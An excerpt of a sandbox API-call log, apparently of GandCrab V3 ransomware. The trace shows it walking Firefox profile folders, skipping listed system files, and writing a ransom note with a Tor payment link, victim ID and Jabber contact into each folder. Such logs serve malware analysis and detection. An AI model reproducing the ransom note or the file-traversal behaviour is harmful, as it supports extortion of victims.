	[0121.274] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.274] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\CRAB-DECRYPT.txt") returned 100
	[0121.274] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\CRAB-DECRYPT.txt") returned 100
	[0121.274] lstrlenW (lpString=".txt") returned 4
	[0121.274] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.275] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0121.275] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.275] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\CRAB-DECRYPT.txt") returned 100
	[0121.275] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\CRAB-DECRYPT.txt") returned 100
	[0121.275] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0121.275] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0121.275] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0121.275] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0121.275] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0121.275] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0121.275] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0121.275] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0121.275] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0121.275] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.275] FindNextFileW (in: hFindFile=0x3165cd8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0121.275] lstrcmpW (lpString1="WINNT_x86-msvc", lpString2=".") returned 1
	[0121.275] lstrcmpW (lpString1="WINNT_x86-msvc", lpString2="..") returned 1
	[0121.275] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\", lpString2="WINNT_x86-msvc" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc"
	[0121.275] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\"
	[0121.275] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.276] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0121.276] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0121.276] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0121.276] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0121.276] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.276] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148a20, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0121.276] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0121.276] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0121.276] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148208, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0121.276] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0121.276] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0121.276] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.277] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\\\CRAB-DECRYPT.txt") returned 116
	[0121.277] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp\\winnt_x86-msvc\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0121.278] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0121.278] WriteFile (in: hFile=0x3d8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3148a04, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3148a04*=0xcce, lpOverlapped=0x0) returned 1
	[0121.279] CloseHandle (hObject=0x3d8) returned 1
	[0121.279] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.280] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\") returned 99
	[0121.280] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\*"
	[0121.280] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\*", lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0x3165d18
	[0121.280] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0121.280] FindNextFileW (in: hFindFile=0x3165d18, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0121.280] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0121.280] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0121.280] FindNextFileW (in: hFindFile=0x3165d18, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0121.280] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0121.280] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0121.280] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\CRAB-DECRYPT.txt"
	[0121.280] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.281] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\CRAB-DECRYPT.txt") returned 115
	[0121.281] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\CRAB-DECRYPT.txt") returned 115
	[0121.281] lstrlenW (lpString=".txt") returned 4
	[0121.281] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.281] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0121.281] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.281] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\CRAB-DECRYPT.txt") returned 115
	[0121.281] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp\\WINNT_x86-msvc\\CRAB-DECRYPT.txt") returned 115
	[0121.281] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0121.281] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0121.281] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0121.281] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0121.281] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0121.281] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0121.282] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0121.282] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0121.282] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0121.282] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.282] FindNextFileW (in: hFindFile=0x3165d18, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0
	[0121.282] FindClose (in: hFindFile=0x3165d18 | out: hFindFile=0x3165d18) returned 1
	[0121.282] FindNextFileW (in: hFindFile=0x3165cd8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0121.282] FindClose (in: hFindFile=0x3165cd8 | out: hFindFile=0x3165cd8) returned 1
	[0121.282] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0121.282] lstrcmpW (lpString1="gmp-gmpopenh264", lpString2=".") returned 1
	[0121.282] lstrcmpW (lpString1="gmp-gmpopenh264", lpString2="..") returned 1
	[0121.282] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="gmp-gmpopenh264" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264"
	[0121.282] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\"
	[0121.283] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.283] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0121.283] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0121.283] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0121.283] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0121.283] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.283] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x31494c8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0121.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0121.283] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0121.283] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148cb0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0121.283] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0121.283] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0121.283] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.284] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\\\CRAB-DECRYPT.txt") returned 113
	[0121.284] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-gmpopenh264\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0121.285] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0121.285] WriteFile (in: hFile=0x3e0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x31494ac, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x31494ac*=0xcce, lpOverlapped=0x0) returned 1
	[0121.286] CloseHandle (hObject=0x3e0) returned 1
	[0121.286] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.286] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\") returned 96
	[0121.286] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\*"
	[0121.287] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\*", lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0x3165cd8
	[0121.287] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0121.287] FindNextFileW (in: hFindFile=0x3165cd8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0121.287] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0121.287] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0121.287] FindNextFileW (in: hFindFile=0x3165cd8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0121.287] lstrcmpW (lpString1="1.6", lpString2=".") returned 1
	[0121.287] lstrcmpW (lpString1="1.6", lpString2="..") returned 1
	[0121.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\", lpString2="1.6" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6"
	[0121.287] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\"
	[0121.287] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.287] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0121.287] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0121.287] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0121.287] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0121.287] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.288] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148a20, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0121.288] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0121.288] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0121.288] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148208, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0121.288] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0121.288] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0121.288] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.288] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\\\CRAB-DECRYPT.txt") returned 117
	[0121.289] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0121.289] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0121.289] WriteFile (in: hFile=0x3d8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3148a04, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3148a04*=0xcce, lpOverlapped=0x0) returned 1
	[0121.290] CloseHandle (hObject=0x3d8) returned 1
	[0121.290] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.291] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264\\1.6\\") returned 100
